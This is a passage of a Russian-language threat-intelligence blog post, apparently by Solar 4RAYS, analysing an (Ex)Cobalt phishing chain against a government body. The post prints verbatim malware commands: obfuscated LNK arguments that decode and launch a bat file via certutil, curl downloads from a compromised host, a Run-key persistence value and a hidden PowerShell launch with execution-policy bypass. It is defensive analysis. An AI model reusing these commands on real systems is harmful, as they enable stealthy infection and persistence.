{"id":364268,"date":"2024-05-21T02:13:35","date_gmt":"2024-05-21T02:13:35","guid":{"rendered":"http:\/\/savepearlharbor.com\/?p=364268"},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-29T21:00:00","slug":"","status":"publish","type":"post","link":"https:\/\/savepearlharbor.com\/?p=364268","title":{"rendered":"<span>(Ex)Cobalt \u0432 \u043d\u043e\u0432\u043e\u043c \u043e\u0431\u043b\u0438\u0447\u044c\u0435: \u043a\u043e\u043c\u0430\u043d\u0434\u0430 Solar 4RAYS \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u044e\u044e \u0430\u0442\u0430\u043a\u0443 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438<\/span>"},"content":{"rendered":"<div><!--[--><!--]--><\/div>\n<div id=\"post-content-body\">\n<div>\n<div class=\"article-formatted-body article-formatted-body article-formatted-body_version-2\">\n<div xmlns=\"http:\/\/www.w3.org\/1999\/xhtml\">\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/18c\/8f2\/694\/18c8f2694472fb90d23a5d25876e2d43.png\" width=\"1392\" height=\"516\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/18c\/8f2\/694\/18c8f2694472fb90d23a5d25876e2d43.png\"\/><\/figure>\n<p>\u041d\u0435\u0434\u0430\u0432\u043d\u043e \u043c\u044b \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u043b\u0438 <a href=\"https:\/\/rt-solar.ru\/solar-4rays\/blog\/\">\u0431\u043b\u043e\u0433<\/a> \u0446\u0435\u043d\u0442\u0440\u0430 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043a\u0438\u0431\u0435\u0440\u0443\u0433\u0440\u043e\u0437 Solar 4RAYS, \u0433\u0434\u0435 \u0434\u0435\u043b\u0438\u043c\u0441\u044f \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u043e\u0439 \u043e\u0431 \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0433\u0440\u043e\u0437\u0430\u0445, \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430\u043c\u0438 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432, \u043f\u043e\u043b\u0435\u0437\u043d\u044b\u043c\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0438 \u0438 \u0434\u0440\u0443\u0433\u0438\u043c\u0438 \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c\u0438 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u0430\u043c\u0438. \u041d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0437 \u0431\u043b\u043e\u0433\u0430 \u043c\u044b \u0431\u0443\u0434\u0435\u043c \u0440\u0430\u0437\u043c\u0435\u0449\u0430\u0442\u044c \u0442\u0430\u043a\u0436\u0435 \u0437\u0434\u0435\u0441\u044c, \u0438 \u0432\u043e\u0442 \u043e\u0434\u043d\u043e \u0438\u0437 \u043d\u0438\u0445.<\/p>\n<p>\u0412 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u0434\u0430\u0432\u043d\u0435\u0439 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u043e\u0434\u043d\u043e \u0438\u0437 \u0433\u043e\u0441\u0443\u0434\u0430\u0440\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0443\u0447\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0439 \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u044b\u0435 \u0438\u043d\u0434\u0438\u043a\u0430\u0442\u043e\u0440\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0434\u043e\u043b\u0435\u0439 \u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u043d\u043e \u0430\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0435 (Ex)Cobalt (\u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u043a\u0430\u043a Comet\/Shadow\/Twelve). \u0413\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0430 \u0440\u0430\u043d\u0435\u0435 \u043f\u0440\u0435\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0430 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u0443\u044e \u0432\u044b\u0433\u043e\u0434\u0443, \u043d\u043e \u0437\u0430\u0442\u0435\u043c \u0441\u043c\u0435\u043d\u0438\u043b\u0430 \u0432\u0435\u043a\u0442\u043e\u0440 \u0438 \u0441\u0442\u0430\u043b\u0430 \u0437\u0430\u043d\u0438\u043c\u0430\u0442\u044c\u0441\u044f \u0430\u0442\u0430\u043a\u0430\u043c\u0438, \u0441\u0432\u043e\u0439\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u043c\u0438 \u043a\u0438\u0431\u0435\u0440\u0448\u043f\u0438\u043e\u043d\u0430\u043c. \u041c\u044b \u0432\u044b\u044f\u0441\u043d\u0438\u043b\u0438, \u0447\u0442\u043e \u0441 \u043d\u0435\u0434\u0430\u0432\u043d\u0438\u0445 \u043f\u043e\u0440 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0441\u0442\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043d\u043e\u0432\u0443\u044e \u0441\u0435\u0442\u0435\u0432\u0443\u044e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0438\u0437\u043c\u0435\u043d\u0438\u043b\u0438 \u0442\u0435\u0445\u043d\u0438\u043a\u0443 \u0440\u0430\u0437\u0432\u0435\u0440\u0442\u044b\u0432\u0430\u043d\u0438\u044f \u0433\u043b\u0430\u0432\u043d\u043e\u0439 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.<\/p>\n<p>\u0422\u0430\u043a\u0436\u0435\u00a0\u043d\u0430\u043c \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u0437\u0430\u0440\u0435\u0433\u0438\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u043e\u043c\u0435\u043d\u043e\u0432, \u0438\u043c\u0435\u044e\u0449\u0438\u0445 \u043e\u0442\u0434\u0430\u043b\u0435\u043d\u043d\u0443\u044e \u0441\u0432\u044f\u0437\u044c \u0441 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u043e\u0439:\u00a0\u043e\u043d\u0438 \u043f\u043e\u043a\u0430\u00a0\u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0432 \u0430\u0442\u0430\u043a\u0430\u0445, \u043d\u043e \u0442\u0440\u0435\u0431\u0443\u044e\u0442 \u043f\u0440\u0438\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u044f, \u0442\u0430\u043a \u043a\u0430\u043a\u00a0\u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0437\u0430\u0434\u0435\u0439\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u044b \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0431\u043b\u0438\u0436\u0430\u0439\u0448\u0435\u043c \u0431\u0443\u0434\u0443\u0449\u0435\u043c.<\/p>\n<h2>\u041f\u0435\u0440\u0432\u0438\u0447\u043d\u044b\u0439 \u0432\u0435\u043a\u0442\u043e\u0440 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f<\/h2>\n<p>\u0412 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0435 \u043f\u0438\u0441\u044c\u043c\u0430 \u0441 \u043f\u0440\u0438\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u043d\u044b\u043c\u0438 \u0430\u0440\u0445\u0438\u0432\u0430\u043c\u0438 \u00ab\u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f.rar\u00bb, \u00ab\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439.rar\u00bb. \u0412\u043d\u0443\u0442\u0440\u0438 \u0430\u0440\u0445\u0438\u0432\u043e\u0432 \u043d\u0430\u0445\u043e\u0434\u0438\u043b\u0438\u0441\u044c LNK-\u0444\u0430\u0439\u043b\u044b \u00abDocument_Microsoft_Word.lnk\u00bb, \u0432 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0430 \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0430 \u043b\u044e\u0431\u043e\u043f\u044b\u0442\u043d\u0430\u044f \u0442\u0435\u0445\u043d\u0438\u043a\u0430. \u0412 overlay \u044f\u0440\u043b\u044b\u043a\u043e\u0432 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f base64-\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 bat-\u0441\u043a\u0440\u0438\u043f\u0442, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u0442\u0441\u044f certutil \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f.<\/p>\n<p>\u0412 \u043e\u0431\u0440\u0430\u0437\u0446\u0435 <strong>Document_Microsoft_Word.lnk <\/strong>(MD5: 375a82ae45a8041fc02a648f19154501) \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0430\u044f \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\">Arguments: \/v   \/c set c=&#187;%cd%\\<strong>Document_Microsoft_Word.lnk<\/strong>&#171;&amp;(if   not exist &#171;!c!&#187; (for \/f &#171;tokens=*&#187; %l in (&#8216;where \/r &#171;%localappdata%&#187;   Document_Microsoft_Word.?nk&#8217;) do set c=%l))&amp;>nul set e=t&amp;set   h=b&amp;set q=%temp%&amp;<strong>cer!e!util -decode<\/strong>   &#171;!c!&#187; !q!\\<strong>yoedfeyeoid<\/strong>.!h!at&amp;<strong>start<\/strong>   \/b !q!\\yoedfeyeoid<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u0421 \u0435\u0435 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442 <strong>yoedfeyeoid.bat<\/strong>.<\/p>\n<p>\u0412 \u043e\u0431\u0440\u0430\u0437\u0446\u0435 <strong>Document_Microsoft_Word.lnk <\/strong>(MD5: 3de34143d90ad3d74ae2c82d91f5ca42) \u043a\u043e\u043c\u0430\u043d\u0434\u0430 \u0434\u043b\u044f \u0437\u0430\u043f\u0443\u0441\u043a\u0430 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u0447\u0443\u0442\u044c \u0438\u043d\u0430\u0447\u0435:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\">Arguments: \/v   \/c set d=&#187;%cd%\\<strong>Document_Microsoft_Word.lnk<\/strong>&#171;&amp;(if not   exist &#171;!d!&#187; (for \/f &#171;tokens=*&#187; %s in (&#8216;where \/r   &#171;%localappdata%&#187; Document_Microsoft_Word.l?k&#8217;) do set d=%s))&amp;>nul   set u=c&amp;set p=b&amp;set t=%temp%&amp;!u!<strong>ertutil -decode<\/strong> &#171;!d!&#187; !t!\\<strong>hutpjsav<\/strong>.!p!at&amp;start \/b   !t!\\hutpjsav<\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p>\u041d\u043e \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u0442\u043e\u0442 \u0436\u0435 \u2013 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a \u0441\u043a\u0440\u0438\u043f\u0442\u0430 <strong>hutpjsav.bat<\/strong>, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u0435\u0440\u0432\u043e\u0439 \u0441\u0442\u0430\u0434\u0438\u0435\u0439 \u0430\u0442\u0430\u043a\u0438 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u044f \u0447\u0435\u0440\u0435\u0437 LNK-\u0444\u0430\u0439\u043b.<\/p>\n<p>\u041e\u0431\u0449\u0430\u044f \u0441\u0445\u0435\u043c\u0430 \u0430\u0442\u0430\u043a\u0438 \u0432\u044b\u0433\u043b\u044f\u0434\u0438\u0442 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u043e \u0432\u043e \u0432\u0441\u0435\u0445 \u0438\u0437\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u043d\u0430\u043c\u0438 \u0441\u043b\u0443\u0447\u0430\u044f\u0445. \u0420\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0438\u043c \u0435\u0435 \u043d\u0430 \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u0430\u0440\u0445\u0438\u0432\u0430 \u00ab\u0421\u0446\u0435\u043d\u0430\u0440\u0438\u0439.rar\u00bb (MD5: 1c2c01c22712e0ed3444b5aae5c5dfac), \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0436\u0435\u0440\u0442\u0432\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u043f\u043e \u044d\u043b\u0435\u043a\u0442\u0440\u043e\u043d\u043d\u043e\u0439 \u043f\u043e\u0447\u0442\u0435:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/getpro\/habr\/upload_files\/35a\/43f\/068\/35a43f06820f5020e395539b19b2ccb2.jpg\" width=\"2048\" height=\"1040\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/35a\/43f\/068\/35a43f06820f5020e395539b19b2ccb2.jpg\" data-blurred=\"true\"\/><\/figure>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043c\u044b \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u0435\u0435 \u0438\u0437\u0443\u0447\u0438\u043c \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u0441\u043e\u0431\u044b\u0442\u0438\u0439, \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0435\u0434\u0448\u0438\u0445 \u043f\u043e\u0441\u043b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430 LNK-\u0444\u0430\u0439\u043b\u0430.<\/p>\n<h2>I \u0441\u0442\u0430\u0434\u0438\u044f. Bat-\u0441\u043a\u0440\u0438\u043f\u0442<\/h2>\n<p>\u0418\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u043c\u044b\u0439 bat-\u0441\u043a\u0440\u0438\u043f\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0432 \u0441\u0435\u0431\u0435 base64-\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u044b VBS (Visual Basic Script) \u0438 PS (PowerShell), \u0430 \u0442\u0430\u043a\u0436\u0435 docx-\u043f\u0440\u0438\u043c\u0430\u043d\u043a\u0430 (%TEMP%\\Document_Microsoft_Word.docx). \u0414\u043b\u044f \u0438\u0445 \u0441\u0431\u043e\u0440\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u044b\u0439 \u0444\u0430\u0439\u043b, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u0435\u0442\u0441\u044f \u0441 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0432\u0437\u043b\u043e\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0432\u0435\u0431-\u0441\u0430\u0439\u0442\u0430 (hxxps:\/\/aquatech72[.]ru). \u0424\u0430\u0439\u043b \u0437\u0430\u0434\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u043a\u043e\u043d\u043a\u0430\u0442\u0435\u043d\u0430\u0446\u0438\u0438 \u0441\u0442\u0440\u043e\u043a \u0434\u043b\u044f \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0433\u043e \u0441\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0432\u044b\u0448\u0435\u0443\u043f\u043e\u043c\u044f\u043d\u0443\u0442\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0434\u043b\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0430\u0434\u0438\u0439:<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\"><strong>curl.exe   &#171;https:\/\/aquatech72[.]ru\/ebboyeewf.txt&#187; -o %mrb%>nul<\/strong><\/p>\n<p align=\"left\"><strong>curl.exe   &#171;https:\/\/aquatech72[.]ru\/yyiygui.txt&#187; -o %unc%>nul<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<p><em>\u041a\u043e\u043c\u0430\u043d\u0434\u044b \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u0444\u0430\u0439\u043b\u0430, \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u044e\u0449\u0435\u0433\u043e \u0441\u0431\u043e\u0440\u043a\u0443 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432<\/em><\/p>\n<p>Base64-\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0441\u0442\u0440\u043e\u043a\u0438, \u0438\u043c\u0435\u044e\u0449\u0438\u0435\u0441\u044f \u0432 bat-\u0441\u043a\u0440\u0438\u043f\u0442\u0435, \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u044e\u0442\u0441\u044f \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u0443\u0442\u0438\u043b\u0438\u0442\u044b certutil.exe.<\/p>\n<p>Bat-\u0441\u043a\u0440\u0438\u043f\u0442 \u0442\u0430\u043a\u0436\u0435 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442 \u0437\u0430\u043a\u0440\u0435\u043f\u043b\u0435\u043d\u0438\u0435 \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u043d\u044b\u0445 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 VBS \u0438 PS \u0432 \u043a\u043b\u044e\u0447\u0435 \u0440\u0435\u0435\u0441\u0442\u0440\u0430 \u043f\u043e \u0430\u0434\u0440\u0435\u0441\u0443 HKLM|HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run. \u041d\u0430\u0438\u043c\u0435\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u043a\u043b\u044e\u0447\u0430 \u2013 \u00abXboxGamingOveray\u00bb, \u0435\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u2013 \u00abC:\\WINDOWS\\System32\\wscript.exe C:\\ProgramData\\Packagr\\XboxGamingOverlay.vbs C:\\ProgramData\\Packagr\\\u00bb. <\/p>\n<p>\u0422\u0430\u043a\u0436\u0435 \u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043c\u044b \u0443\u0432\u0438\u0434\u0435\u043b\u0438 \u0434\u0440\u0443\u0433\u043e\u0439 \u043a\u043b\u044e\u0447 \u0440\u0435\u0435\u0441\u0442\u0440\u0430 \u2013 \u00abDathanges\u00bb \u2013 \u0441\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c \u00abwscript.exe C:\\ProgramData\\Packagd\\XboxGamingOverlay.vbs\u00bb.<\/p>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0441\u0431\u043e\u0440\u043a\u0438 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0445 \u0441\u0442\u0430\u0434\u0438\u0439 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0443\u0441\u043a VBS-\u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0439, \u0432 \u0441\u0432\u043e\u044e \u043e\u0447\u0435\u0440\u0435\u0434\u044c, \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u044b\u0439 PowerShell.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w780q1\/getpro\/habr\/upload_files\/323\/1c6\/7f4\/3231c67f486cf84430c9212be221ee1d.jpg\" alt=\"\u041e\u0431\u0449\u0438\u0439 \u0432\u0438\u0434 bat-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\" title=\"\u041e\u0431\u0449\u0438\u0439 \u0432\u0438\u0434 bat-\u0441\u043a\u0440\u0438\u043f\u0442\u0430\" width=\"1018\" height=\"752\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/323\/1c6\/7f4\/3231c67f486cf84430c9212be221ee1d.jpg\" data-blurred=\"true\"\/><\/p>\n<div><figcaption><em>\u041e\u0431\u0449\u0438\u0439 \u0432\u0438\u0434 bat-\u0441\u043a\u0440\u0438\u043f\u0442\u0430<\/em><\/figcaption><\/div>\n<\/figure>\n<h2>II \u0441\u0442\u0430\u0434\u0438\u044f. VBS-\u0441\u043a\u0440\u0438\u043f\u0442<\/h2>\n<p>\u0412\u0442\u043e\u0440\u0430\u044f \u0441\u0442\u0430\u0434\u0438\u044f \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043d\u0435\u0431\u043e\u043b\u044c\u0448\u043e\u0439 \u0441\u043a\u0440\u0438\u043f\u0442, \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u2013 \u0437\u0430\u043f\u0443\u0441\u043a \u0440\u0430\u043d\u0435\u0435 \u0441\u043e\u0431\u0440\u0430\u043d\u043d\u043e\u0433\u043e PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u0439 \u043a\u043e\u043c\u0430\u043d\u0434\u043e\u0439 (\u043f\u043e\u0441\u043b\u0435 \u0434\u0435\u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438):<\/p>\n<div>\n<div class=\"table\">\n<table>\n<tbody>\n<tr>\n<td>\n<p align=\"left\">%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe   -ex bypass -NvLogo -NonInteractive -NoProfile -WindowStyle Hidden -File <strong>&#171;XboxGamingOverlay.ps1&#187;<\/strong><\/p>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<h2>III \u0441\u0442\u0430\u0434\u0438\u044f. PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442<\/h2>\n<p>\u041e\u0431\u0444\u0443\u0441\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0435 PowerShell-\u0441\u043a\u0440\u0438\u043f\u0442\u044b \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442 \u0432 \u043f\u0430\u043c\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043c\u043e\u0434\u0443\u043b\u044c CobInt \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442 \u0435\u0433\u043e. \u0418\u043c\u0435\u044e\u0442\u0441\u044f \u0434\u0432\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 CobInt \u2013 x86 \u0438 x64, \u2013 \u043e\u043d\u0438 \u043e\u0431\u0435 \u0437\u0430\u0433\u0440\u0443\u0436\u0430\u044e\u0442\u0441\u044f \u0441 \u043e\u0434\u043d\u043e\u0433\u043e \u0438 \u0442\u043e\u0433\u043e \u0436\u0435 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0441\u0435\u0440\u0432\u0435\u0440\u0430: hxxps:\/\/netstaticpoints[.]com. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0430 \u0431\u044b\u043b\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u0430, \u043d\u043e, \u043e\u0441\u043d\u043e\u0432\u044b\u0432\u0430\u044f\u0441\u044c \u043d\u0430 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u043e\u043c \u0448\u0435\u043b\u043b-\u043a\u043e\u0434\u0435, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043c\u044b \u0440\u0430\u043d\u0435\u0435 \u0443\u0436\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043b\u0438 \u0438 \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0432 \u0442\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u0447\u0438\u043a\u0430 CobInt, \u043c\u043e\u0436\u043d\u043e 